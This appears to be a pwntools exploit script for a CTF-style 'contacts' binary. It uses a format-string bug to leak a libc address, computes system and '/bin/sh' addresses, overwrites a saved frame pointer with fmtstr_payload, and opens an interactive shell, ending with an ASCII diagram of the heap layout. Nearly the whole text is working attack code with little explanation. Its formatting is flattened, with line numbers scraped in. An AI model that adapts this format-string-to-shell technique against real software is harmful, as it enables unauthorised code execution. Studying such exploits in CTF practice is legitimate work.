1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF('./contacts') myproc = process(myelf.path)
def Create(c_name,c_phone,c_len,c_desp): myproc.recvuntil('>>> ') myproc.sendline(str(1)) myproc.recvuntil("Contact info: ") myproc.recvuntil("\tName: ") myproc.sendline(c_name) myproc.recvuntil("\tEnter Phone No: ") myproc.sendline(c_phone) myproc.recvuntil("\tLength of description: ") myproc.sendline(c_len) myproc.recvuntil("\tEnter description:\n\t\t") myproc.sendline(c_desp)
def Display(): myproc.recvuntil('>>> ') myproc.sendline(str(4)) myproc.recvuntil("\tDescription: ")
Create('aaaaaaaa','1234567891',str(50),'%31$paaaa')
Display() data = myproc.recvuntil('aaaa',drop=True) libc_start_main = int(data,16) - 247 log.warn("a: 0x%x" % libc_start_main) libc_base = libc_start_main - 0x18550 log.warn("b: 0x%x" % libc_base) sys_addr = libc_base + 0x3a950 binsh_addr = libc_base + 0x15910b
payload = flat([sys_addr,'aaaa',binsh_addr,'%6$p%11$pbbbb']) gdb.attach(myproc,"b *0x08048c22") Create('xxxxxxxx','2342342234',str(50),payload) Display() myproc.recvuntil("\tDescription: ") data = myproc.recvuntil('bbbb',drop=True) data = data.split('0x') print data ebp_addr = int(data[1],16) heap_addr = int(data[2],16)
payload = fmtstr_payload(6,{ebp_addr:heap_addr}) print payload
Create('eeeeeeee','1231231231',str(400),payload) Display()
myproc.interactive() +------------+ | tag 0/1 | +------------+v2+76 |len of desp | +------------+v2+72 | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Name | +------------+ v2+8 +---------+ | &heap1 | +--------+ | | +------------+ v2+4 | Phone | | desp | | &heap2 | | | | | +------------+ v2 +--------+ +---------+ 0x804b0a0 heap1 heap2
0x804b088 record num
|